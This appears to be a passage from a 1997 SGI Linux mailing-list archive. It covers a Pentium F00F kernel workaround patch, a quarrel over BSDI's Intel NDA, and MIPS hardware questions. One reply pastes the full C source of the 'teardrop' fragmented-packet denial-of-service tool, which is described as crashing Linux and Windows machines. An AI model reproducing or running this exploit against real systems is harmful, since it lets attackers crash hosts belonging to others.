hack my way into making that happen. If hacking is possible, then could somebody send me some pointers .. since what I want to work on, is the Xserver .. Thanx -- -------------------------------------------------------------------------- Shrijeet Mukherjee, Member of Technical Staff (MTS) Advanced Graphics Division Silicon Graphics Computer Systems http://reality.sgi.com/shm_engr phone: 650-933-5312 email: shm@engr.sgi.com, shm@sgi.com, shm@cs.uoregon.edu -------------------------------------------------------------------------- Remember, life is not about what happens to you but what you make of what happens to you. Everyone dies, but not everyone fully lives. From owner-linux@cthulhu.engr.sgi.com Fri Nov 14 13:03:11 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA504193 for ; Fri, 14 Nov 1997 13:03:11 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA03398 for linux-list; Fri, 14 Nov 1997 13:00:44 -0800 Received: from fir.engr.sgi.com (fir.engr.sgi.com [150.166.49.183]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA03334; Fri, 14 Nov 1997 13:00:38 -0800 Received: (from wje@localhost) by fir.engr.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) id NAA08559; Fri, 14 Nov 1997 13:00:34 -0800 Date: Fri, 14 Nov 1997 13:00:34 -0800 Message-Id: <199711142100.NAA08559@fir.engr.sgi.com> From: "William J. Earl" To: Shrijeet Mukherjee Cc: linux@cthulhu.engr.sgi.com Subject: Re: SGI / Linux In-Reply-To: References: Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1027 Lines: 24 Shrijeet Mukherjee writes: > > Hi all, > > I just wanted to make something certain, b4 I went and banged my head all > the way, about linux ports for SGI h/w. > > I have recently acquired a 100Mhz R4K indigo .. would mips/linux work on > this, as this is a r4k machine .. ( I would presume the kernel should > work, while the device drivers may not ) .. > > if yes, is there something else I need to do to make that happen .. if not > can I hack my way into making that happen. > > If hacking is possible, then could somebody send me some pointers .. since > what I want to work on, is the Xserver .. ... Most of the chips are similar, but not identical, to those in the Indy, except for graphics, which is considerably different. The memory controller is the same, but many of the I/O parts are earlier generations. I don't believe I can readily locate the hardware documentation for the parts which differ from Indy. (I was able to provide documentation for Indy, with management permission.) From owner-linux@cthulhu.engr.sgi.com Fri Nov 14 13:19:54 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA503904 for ; Fri, 14 Nov 1997 13:19:54 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA13423 for linux-list; Fri, 14 Nov 1997 13:17:26 -0800 Received: from oz.engr.sgi.com (oz.engr.sgi.com [150.166.61.27]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA13408 for ; Fri, 14 Nov 1997 13:17:25 -0800 Received: (from ariel@localhost) by oz.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) id NAA27890 for linux@engr.sgi.com; Fri, 14 Nov 1997 13:17:25 -0800 (PST) From: ariel@oz.engr.sgi.com (Ariel Faigon) Message-Id: <199711142117.NAA27890@oz.engr.sgi.com> Subject: Pentium F00F bug Linux workaround To: linux@cthulhu.engr.sgi.com (SGI/Linux mailing list) Date: Fri, 14 Nov 1997 13:17:24 -0800 (PST) Reply-To: ariel@cthulhu.engr.sgi.com (Ariel Faigon) Organization: Silicon Graphics Inc. X-Mailer: ELM [version 2.4 PL24 ME5a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 3448 Lines: 111 [Just forwarding from linux-dev since I thought some people may be interested. Ingo Molnar has found a way to workaround the latest Pentium/Pentium-MMX F00F bug. Linus then improved on it. I'm impressed by the repeatedly demonstrated ability of the Linux community to beat Microsoft. It remains to be seen how long it'll take Microsoft to respond to this serious bug that can crash any Windows/WindowsNT machine from user mode (incl. any remotely loaded Captive-X control)] ------------------------------------------------------------------------- >From Linus: Ingo, Alan, others, I have a quick cleanup of 2.1.63 that looks a bit better wrt the F0 0F bug, and also avoids the double SMP unlock that somebody noticed (sorry for not giving attribution, I've been pretty rushed today trying to get the stuff out quickly to people to test). I still don't have any pentium closeby to actually test this, so I'm appending patches relative to 2.1.63. Does this still work for people with the bug? Linus ----- diff -u --recursive --new-file v2.1.63/linux/arch/i386/mm/fault.c linux/arch/i386/mm/fault.c --- v2.1.63/linux/arch/i386/mm/fault.c Wed Nov 12 13:34:25 1997 +++ linux/arch/i386/mm/fault.c Wed Nov 12 13:33:48 1997 @@ -74,14 +74,6 @@ return 0; } -asmlinkage void divide_error(void); -asmlinkage void debug(void); -asmlinkage void nmi(void); -asmlinkage void int3(void); -asmlinkage void overflow(void); -asmlinkage void bounds(void); -asmlinkage void invalid_op(void); - asmlinkage void do_divide_error (struct pt_regs *, unsigned long); asmlinkage void do_debug (struct pt_regs *, unsigned long); asmlinkage void do_nmi (struct pt_regs *, unsigned long); @@ -189,44 +181,27 @@ goto out; } - printk("<%p/%p>\n", idt2, (void *)address); /* * Pentium F0 0F C7 C8 bug workaround: */ - if ( pentium_f00f_bug && (address >= (unsigned long)idt2) && - (address < (unsigned long)idt2+256*8) ) { - - void (*handler) (void); - int nr = (address-(unsigned long)idt2)/8; - unsigned long low, high; - - low = idt[nr].a; - high = idt[nr].b; - - handler = (void (*) (void)) ((low&0x0000ffff) | (high&0xffff0000)); - printk("<handler %p... ", handler); - unlock_kernel(); - - if (handler==divide_error) - do_divide_error(regs,error_code); - else if (handler==debug) - do_debug(regs,error_code); - else if (handler==nmi) - do_nmi(regs,error_code); - else if (handler==int3) - do_int3(regs,error_code); - else if (handler==overflow) - do_overflow(regs,error_code); - else if (handler==bounds) - do_bounds(regs,error_code); - else if (handler==invalid_op) - do_invalid_op(regs,error_code); - else { - printk("INVALID HANDLER!\n"); - for (;;) __cli(); + if ( pentium_f00f_bug ) { + unsigned long nr; + + nr = (address - (unsigned long) idt2) >> 3; + + if (nr < 7) { + static void (*handler[])(struct pt_regs *, unsigned long) = { + do_divide_error, /* 0 - divide overflow */ + do_debug, /* 1 - debug trap */ + do_nmi, /* 2 - NMI */ + do_int3, /* 3 - int 3 */ + do_overflow, /* 4 - overflow */ + do_bounds, /* 5 - bound range */ + do_invalid_op }; /* 6 - invalid opcode */ + unlock_kernel(); + handler[nr](regs, error_code); + return; } - printk("... done>\n"); - goto out; } /* Are we prepared to handle this kernel fault? */ -- Peace, Ariel From owner-linux@cthulhu.engr.sgi.com Fri Nov 14 13:57:34 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA507454 for ; Fri, 14 Nov 1997 13:57:34 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA27909 for linux-list; Fri, 14 Nov 1997 13:55:04 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA27892; Fri, 14 Nov 1997 13:55:01 -0800 Received: from dm.cobaltmicro.com ([209.19.61.51]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id NAA08080; Fri, 14 Nov 1997 13:54:54 -0800 env-from (davem@dm.cobaltmicro.com) Received: (from davem@localhost) by dm.cobaltmicro.com (8.8.7/8.8.7) id NAA08722; Fri, 14 Nov 1997 13:49:47 -0800 Date: Fri, 14 Nov 1997 13:49:47 -0800 Message-Id: <199711142149.NAA08722@dm.cobaltmicro.com> From: "David S. Miller" To: ariel@cthulhu.engr.sgi.com CC: linux@cthulhu.engr.sgi.com In-reply-to: <199711142117.NAA27890@oz.engr.sgi.com> (ariel@oz.engr.sgi.com) Subject: Re: Pentium F00F bug Linux workaround References: <199711142117.NAA27890@oz.engr.sgi.com> Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 744 Lines: 21 We also got some good press from it pretty fast after we released the fixes: http://www.news.com/News/Item/0,4,16312,00.html Whats extremely humorous is that BSDI signed an NDA with Intel to get early fix techniques told to them by Intel engineers. But the NDA stated they could not release patch sets for BSDI until Intel said so, the thinking on Intel's part is that they wanted nobody to be the first with a fix. BSDI overlooked this and put the fix out, then quickly took the fixes down once they released they had breached the Intel NDA. After the Linux fix was already out, Intel engineers spoke with Linus and tried to get him to sign an NDA, I've never laughed so hard in my life. Later, David S. Miller davem@dm.cobaltmicro.com From owner-linux@cthulhu.engr.sgi.com Fri Nov 14 14:08:53 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA506868 for ; Fri, 14 Nov 1997 14:08:53 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA03214 for linux-list; Fri, 14 Nov 1997 14:05:05 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA03142; Fri, 14 Nov 1997 14:04:55 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA11639; Fri, 14 Nov 1997 14:04:52 -0800 env-from (ralf@hotel.uni-koblenz.de) Received: from hotel.uni-koblenz.de (ralf@pmport-08.uni-koblenz.de [141.26.249.8]) by informatik.uni-koblenz.de (8.8.8/8.8.7) with ESMTP id XAA05565; Fri, 14 Nov 1997 23:04:50 +0100 (MET) Received: (from ralf@localhost) by hotel.uni-koblenz.de (8.8.7/8.8.7) id XAA09889; Fri, 14 Nov 1997 23:01:26 +0100 Message-ID: <19971114230125.53286@hotel.uni-koblenz.de> Date: Fri, 14 Nov 1997 23:01:25 +0100 From: ralf@uni-koblenz.de To: Ariel Faigon Cc: SGI/Linux mailing list Subject: Re: Pentium F00F bug Linux workaround References: <199711142117.NAA27890@oz.engr.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: <199711142117.NAA27890@oz.engr.sgi.com>; from Ariel Faigon on Fri, Nov 14, 1997 at 01:17:24PM -0800 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 671 Lines: 15 On Fri, Nov 14, 1997 at 01:17:24PM -0800, Ariel Faigon wrote: > [Just forwarding from linux-dev since I thought some people > may be interested. Ingo Molnar has found a way to workaround > the latest Pentium/Pentium-MMX F00F bug. Linus then improved on it. > > I'm impressed by the repeatedly demonstrated ability of the Linux > community to beat Microsoft. It remains to be seen how long it'll > take Microsoft to respond to this serious bug that can crash any > Windows/WindowsNT machine from user mode (incl. any remotely loaded > Captive-X control)] The Linux kernel as well handles a CPU bug that QED / IDT still haven't acknowledged to exist :-) Ralf From owner-linux@cthulhu.engr.sgi.com Fri Nov 14 14:26:30 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA508048 for ; Fri, 14 Nov 1997 14:26:30 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA10935 for linux-list; Fri, 14 Nov 1997 14:21:08 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA10862; Fri, 14 Nov 1997 14:21:01 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA17236; Fri, 14 Nov 1997 14:20:51 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id WAA12025; Fri, 14 Nov 1997 22:20:45 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xWUB8-0005FvC; Fri, 14 Nov 97 22:25 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: Pentium F00F bug Linux workaround To: ariel@cthulhu.engr.sgi.com Date: Fri, 14 Nov 1997 22:25:30 +0000 (GMT) Cc: linux@cthulhu.engr.sgi.com In-Reply-To: <199711142117.NAA27890@oz.engr.sgi.com> from "Ariel Faigon" at Nov 14, 97 01:17:24 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 7675 Lines: 231 > I'm impressed by the repeatedly demonstrated ability of the Linux > community to beat Microsoft. It remains to be seen how long it'll > take Microsoft to respond to this serious bug that can crash any > Windows/WindowsNT machine from user mode (incl. any remotely loaded > Captive-X control)] For various complex political/vendor reasons between intel and OS vendors the situation on this is somewhat misleading on speed of fixing. Don't take this specific one as a fair measurement. Lets see how long they take to fix the one below.. (Linux fix in 2.1.64pre and on various sites). Irix isnt vulnerable btw ;) Alan /* * Copyright (c) 1997 route|daemon9 #include #include #include #include #include #include #include #include #include #include #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define PADDING 0x1c /* datagram frame padding for first packet */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr; fprintf(stderr, "teardrop route|daemon9\n\n"); if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Death on flaxen wings:\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\n", count); fprintf(stderr, "[ "); for (i = 0; i < count; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); fprintf(stderr, "b00m "); usleep(500); } fprintf(stderr, "]\n"); return (0); } /* * Send two IP fragments with pathological offsets. We use an implementation * independent way of assembling network packets that does not rely on any of * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). */ void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } /* We set the fragment offset to be inside of the previous packet's * payload (it overlaps inside the previous packet) but do not include * enough payload to cover complete the datagram. Just the header will * do, but to crash NT/95 machines, a bit larger of packet seems to work * better. */ p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); p_ptr += 4; /* IP offset is 6 bytes into the header */ *((u_short *)p_ptr) = FIX(MAGIC); if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", name); exit(0); } /* EOF */ From owner-linux@cthulhu.engr.sgi.com Sun Nov 16 14:02:21 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA668051 for ; Sun, 16 Nov 1997 14:02:21 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA23296 for linux-list; Sun, 16 Nov 1997 13:59:08 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA23264 for ; Sun, 16 Nov 1997 13:59:02 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id NAA21688 for ; Sun, 16 Nov 1997 13:59:00 -0800 env-from (ralf@mailhost.uni-koblenz.de) Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61]) by informatik.uni-koblenz.de (8.8.8/8.8.7) with SMTP id WAA00963 for ; Sun, 16 Nov 1997 22:58:56 +0100 (MET) Received: by thoma (SMI-8.6/KO-2.0) id WAA06235; Sun, 16 Nov 1997 22:58:52 +0100 Message-ID: <19971116225851.05327@thoma.uni-koblenz.de> Date: Sun, 16 Nov 1997 22:58:51 +0100 From: Ralf Baechle To: linux@cthulhu.engr.sgi.com Subject: Magnum clones Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 166 Lines: 6 Hi, looks as if NetPower's MIPS systems are also slightly modified Mips Magnums. Does anybody know if that's true? Who else was building such OEM machines? Ralf From owner-linux@cthulhu.engr.sgi.com Mon Nov 17 13:33:04 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA774862 for ; Mon, 17 Nov 1997 13:33:03 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA18591 for linux-list; Mon, 17 Nov 1997 13:28:26 -0800 Received: from hollywood.engr.sgi.com (hollywood.engr.sgi.com [150.166.61.38]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA18586 for ; Mon, 17 Nov 1997 13:28:25 -0800 Received: (from fisher@localhost) by hollywood.engr.sgi.com (940816.SGI.8.6.9/960327.SGI.AUTOCF) id NAA04775; Mon, 17 Nov 1997 13:28:24 -0800 From: fisher@hollywood.engr.sgi.com (William Fisher) Message-Id: <199711172128.NAA04775@hollywood.engr.sgi.com> Subject: Re: Pentium F00F bug Linux workaround; BSDI Response To: linux@hollywood.engr.sgi.com Date: Mon, 17 Nov 1997 13:28:20 -0800 (PST) Cc: fisher@hollywood.engr.sgi.com (William Fisher) Reply-To: fisher@sgi.com X-Mailer: ELM [version 2.4 PL3] Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 4834 Lines: 93 Here is the response I got from BSDI on the Pentium F00F bug fix. -- Bill ----------------------- >From dab@frantic.BSDI.COM Sat Nov 15 09:32:26 1997 Date: Sat, 15 Nov 1997 11:32:42 -0600 (CST) From: David Borman Message-Id: <199711151732.LAA17129@frantic.BSDI.COM> To: fisher@sgi.com Subject: Re: Pentium F00F bug Linux workaround Hi Bill, > Is this true that: > > "BSDI signed an NDA with Intel to get early fix techniques"? > > ... > Subject: Re: Pentium F00F bug Linux workaround > References: <199711142117.NAA27890@.....> > Sender: owner-linux@cthulhu > Precedence: bulk > > We also got some good press from it pretty fast after we released the fixes: > > http://www.news.com/News/Item/0,4,16312,00.html > > Whats extremely humorous is that BSDI signed an NDA with Intel to get > early fix techniques told to them by Intel engineers. But the NDA > stated they could not release patch sets for BSDI until Intel said so, > the thinking on Intel's part is that they wanted nobody to be the > first with a fix. BSDI overlooked this and put the fix out, then > quickly took the fixes down once they released they had breached the > Intel NDA. > > After the Linux fix was already out, Intel engineers spoke with Linus > and tried to get him to sign an NDA, I've never laughed so hard in my life. > Hmm... The Linux message is not accurate. At no time has BSDI violated any agreements with Intel. The first patch that we put up was a beta patch. It solves the problem, but we made some minor improvements on it in our official patch. I'll also point out that Intel called us. From our official patch: BSDI has worked closely with Intel since they contacted us about this erratum. We were able to develop a workaround for BSD/OS very quickly, and Intel's assistance was invaluable in this process. BSDI is confident that the software workaround solves this problem for our customers. ... Thanks to Intel Corporation for contacting BSDI with data that led to the fix. Also, though I don't personally have anything to support this, it is our understanding that the Linux fix was based at least in part upon disassembling our beta patch. I've attached our "press release". -David Borman, dab@bsdi.com FOR IMMEDIATE RELEASE Contact: Donna Faulkner Baron, McDonald & Wells 770/492-0373 dfaulkner@bmwpr.com First Intel Pentium Processor 'F0' Bug Fix Announced for BSDI ISP Customers ISPs and other users of BSD/OS can be protected against system 'freezes' caused by illegal code strings COLORADO SPRINGS, Co. (November 17, 1997) Internet Service Providers (ISPs) and other users of the BSD/OS can now protect themselves against problems associated with the 'F0' bug discovered in Intel's Pentium processor. Berkeley Software Design, Inc. (BSDI) today announced a patch that protects companies running BSD/OS 3.1, 3.0, 2.1 against system freezes caused when the processor receives an illegal, one-line instruction. BSDI's patch enables the BSD/OS to gain control whenever an invalid sequence is executed, enabling the system to take its normal action in response to illegal instructions. The patch offers a solution to more than 7,000 organizations and companies relying on the BSD/OS, including over 3,000 ISPs worldwide. ISPs are particularly vulnerable to system attacks based on the Pentium processor bug, since any user or subscriber with malicious intent has the potential to create a system-wide hang-up. "BSDI has developed an outstanding reputation for rapid response to attacks," said Mike Karels, vice president of engineering for BSDI. "Last summer, we were the first commercial vendor to provide a defense against 'SYN-flooding' attacks. This week, we have once again demonstrated industry-leading support for our customers." The BSD/OS patch is downloadable from the company's web site at http://www.bsdi.com. Berkeley Software Design, Inc. is the commercial supplier of the high-performance BSD Internet and networking system software originally developed at the University of California, Berkeley. Internet experts worldwide are powering the networked economy with over 75,000 deployed servers running BSDI software engines and applications. BSDI products for Intel-based PC platforms include the BSDI Internet Server, BSD/OS, and network software for networking appliance developers. BSDI customers include Adobe Systems, Chase Manhattan Bank, CompuServe, U.S. West, UUNET Technologies, Volvo, and leading Internet Service Providers worldwide. BSDI is privately held and headquartered in Colorado Springs, Colorado. Contact BSDI at 719-593-9445, info@bsdi.com or http://www.bsdi.com. BSDI, BSD/OS and the BSDI logo are trademarks of Berkeley Software Design, Inc. All other product or service names are trademarks of their respective owners. From owner-linux@cthulhu.engr.sgi.com Mon Nov 17 15:31:16 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA808961 for ; Mon, 17 Nov 1997 15:31:16 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA05650 for linux-list; Mon, 17 Nov 1997 15:29:19 -0800 Received: from hollywood.engr.sgi.com (hollywood.engr.sgi.com [150.166.61.38]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA05624 for ; Mon, 17 Nov 1997 15:29:17 -0800 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by hollywood.engr.sgi.com (940816.SGI.8.6.9/960327.SGI.AUTOCF) via ESMTP id PAA04987; Mon, 17 Nov 1997 15:29:17 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA05492; Mon, 17 Nov 1997 15:29:00 -0800 Received: from dm.cobaltmicro.com ([209.19.61.51]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA24035; Mon, 17 Nov 1997 15:28:59 -0800 env-from (davem@dm.cobaltmicro.com) Received: (from davem@localhost) by dm.cobaltmicro.com (8.8.7/8.8.7) id PAA27334; Mon, 17 Nov 1997 15:23:46 -0800 Date: Mon, 17 Nov 1997 15:23:46 -0800 Message-Id: <199711172323.PAA27334@dm.cobaltmicro.com> From: "David S. Miller" To: fisher@sgi.com CC: linux@hollywood.engr.sgi.com, fisher@hollywood.engr.sgi.com In-reply-to: <199711172128.NAA04775@hollywood.engr.sgi.com> (fisher@hollywood.engr.sgi.com) Subject: Re: Pentium F00F bug Linux workaround; BSDI Response References: <199711172128.NAA04775@hollywood.engr.sgi.com> Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1003 Lines: 25 I'm going to choose more lightly what I decide to post here if it's going to make it's way to every tom, dick, and harry out there in the unix industry... Fact is that Intel was trying to make sure _no_ vendor had a fix out before anyone else. If it was not explicitly stated in the NDA they signed with Intel, this was a mistake and not what was intended. Now that you've talked to Borman about this fish, ask him why he had to take the patch set down within a day or so. If he says "because it was a BETA patch set", I'd find his response hard to believe. Intel engineers internally were working themselves on fixes for various systems that they did have source to (Linux, maybe {net,free}BSD and a few others) and planned to release those patch sets and allow vendors to release their own patches at the same exact time. BSDI putting out their patch ahead of that point in time was, if anything, totally against how Intel wanted things happen. Later, David S. Miller davem@dm.cobaltmicro.com From owner-linux@cthulhu.engr.sgi.com Mon Nov 17 15:53:40 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA811320 for ; Mon, 17 Nov 1997 15:53:40 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA14052 for linux-list; Mon, 17 Nov 1997 15:50:52 -0800 Received: from hollywood.engr.sgi.com (hollywood.engr.sgi.com [150.166.61.38]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA14034 for ; Mon, 17 Nov 1997 15:50:49 -0800 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by hollywood.engr.sgi.com (940816.SGI.8.6.9/960327.SGI.AUTOCF) via ESMTP id PAA05008; Mon, 17 Nov 1997 15:50:39 -0800 Received: from sgi.sgi.com 